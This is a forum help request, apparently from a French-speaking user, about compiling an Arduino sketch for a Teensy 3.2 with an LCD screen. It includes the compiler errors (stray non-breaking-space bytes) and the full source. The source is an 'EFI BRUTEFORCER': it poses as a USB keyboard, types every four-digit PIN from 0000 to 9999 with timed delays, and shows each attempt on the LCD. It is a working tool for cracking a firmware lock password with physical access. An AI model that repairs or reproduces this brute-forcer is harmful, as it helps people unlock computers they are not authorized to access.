I had a code here in 2015 that allows to display the elements entered by Teensy on an LCD screen. I recently got a screen but I have a compilation problem. Can you help me please?
l'erreur :
Arduino : 1.8.8 (Mac OS X), TD: 1.45, Carte : "Teensy 3.2 / 3.1, Keyboard + Mouse + Joystick, 96 MHz (overclock), Faster, US English"
sketch_feb27e:6: error: stray '\302' in program
const int ledPin = 13;
^
sketch_feb27e:6: error: stray '\240' in program
sketch_feb27e:8: error: stray '\302' in program
const int digit1_start = 0;
^
sketch_feb27e:8: error: stray '\240' in program
sketch_feb27e:10: error: stray '\302' in program
const int digit2_start = 0;
^
sketch_feb27e:10: error: stray '\240' in program
sketch_feb27e:12: error: stray '\302' in program
const int digit3_start = 0;
^
sketch_feb27e:12: error: stray '\240' in program
sketch_feb27e:16: error: stray '\302' in program
const int digit1_stop = 9;
^
sketch_feb27e:16: error: stray '\240' in program
sketch_feb27e:18: error: stray '\302' in program
const int digit2_stop = 9;
^
sketch_feb27e:18: error: stray '\240' in program
sketch_feb27e:20: error: stray '\302' in program
const int digit3_stop = 9;
^
sketch_feb27e:20: error: stray '\240' in program
sketch_feb27e:22: error: stray '\302' in program
const int digit4_stop = 9;
^
sketch_feb27e:22: error: stray '\240' in program
sketch_feb27e:38: error: stray '\302' in program
delay(6000); }
^
sketch_feb27e:38: error: stray '\240' in program
sketch_feb27e:40: error: stray '\302' in program
void loop() {
^
sketch_feb27e:40: error: stray '\240' in program
sketch_feb27e:42: error: stray '\302' in program
if ( finishedPINcracking == 0 ) {
^
sketch_feb27e:42: error: stray '\240' in program
sketch_feb27e:46: error: stray '\302' in program
delay(2000);
^
sketch_feb27e:46: error: stray '\240' in program
sketch_feb27e:50: error: stray '\302' in program
delay(2000);
^
sketch_feb27e:50: error: stray '\240' in program
sketch_feb27e:56: error: stray '\302' in program
for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ ) {
^
sketch_feb27e:56: error: stray '\240' in program
sketch_feb27e:60: error: stray '\302' in program
{ Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
^
sketch_feb27e:60: error: stray '\240' in program
sketch_feb27e:60: error: stray '\302' in program
sketch_feb27e:60: error: stray '\240' in program
sketch_feb27e:62: error: stray '\302' in program
for ( int timer = 1; timer <= 6; timer++ ) { digitalWrite(ledPin, HIGH); }
^
sketch_feb27e:62: error: stray '\240' in program
sketch_feb27e:66: error: stray '\302' in program
digitalWrite(ledPin, LOW); }
^
sketch_feb27e:66: error: stray '\240' in program
sketch_feb27e:68: error: stray '\302' in program
else{ Keyboard.print(String(digit1));
^
sketch_feb27e:68: error: stray '\240' in program
sketch_feb27e:72: error: stray '\302' in program
Keyboard.print(String(digit2));
^
sketch_feb27e:72: error: stray '\240' in program
sketch_feb27e:80: error: stray '\302' in program
Keyboard.print(String(digit4));
^
sketch_feb27e:80: error: stray '\240' in program
sketch_feb27e:97: error: stray '\302' in program
delay(740);
^
sketch_feb27e:97: error: stray '\240' in program
Plusieurs bibliothèque trouvées pour "LiquidCrystal.h"
Utilisé : /Applications/Arduino.app/Contents/Java/hardware/teensy/avr/libraries/LiquidCrystal
Non utilisé : /Applications/Arduino.app/Contents/Java/libraries/LiquidCrystal
stray '\302' in program
le code
#include <LiquidCrystal.h>
int finishedPINcracking = 0;//
const int ledPin = 13;
const int digit1_start = 0;
const int digit2_start = 0;
const int digit3_start = 0;
const int digit4_start = 0;
const int digit1_stop = 9;
const int digit2_stop = 9;
const int digit3_stop = 9;
const int digit4_stop = 9;
LiquidCrystal lcd(23, 22, 16, 15, 14, 13);
void setup() {
lcd.begin(16, 2);
lcd.print("EFI BRUTEFORCER");
delay(500);
lcd.print("ATTACKING EFI");
delay(500);
lcd.print("CODE ATTEMPT");
pinMode(ledPin, OUTPUT);
delay(6000); }
void loop() {
if ( finishedPINcracking == 0 ) {
for( int digit1 = digit1_start; digit1 <= digit1_stop; digit1++ ) {
delay(2000);
for( int digit2 = digit2_start; digit2 <= digit2_stop; digit2++ ) {
delay(2000);
for( int digit3 = digit3_start; digit3 <= digit3_stop; digit3++ ) {
delay(2000);
for( int digit4 = digit4_start; digit4 <= digit4_stop; digit4++ ) {
if ( (digit4 == 4) || (digit4 == 9) )
{ Keyboard.println(String(digit1) + String(digit2) + String(digit3) + String(digit4));
for ( int timer = 1; timer <= 6; timer++ ) { digitalWrite(ledPin, HIGH); }
delay(500);
digitalWrite(ledPin, LOW); }
else{ Keyboard.print(String(digit1));
delay(620);
Keyboard.print(String(digit2));
delay(860);
Keyboard.print(String(digit3));
delay(590);
Keyboard.print(String(digit4));
lcd.setCursor(0, 1);
lcd.print(String(digit1));
lcd.setCursor(1, 1);
lcd.print(String(digit2));
lcd.setCursor(2, 1);
lcd.print(String(digit3));
lcd.setCursor(3, 1);
lcd.print(String(digit4));
delay(740);
delay(6500);
Keyboard.println(); } } } } } finishedPINcracking = 1; }}
[Code/]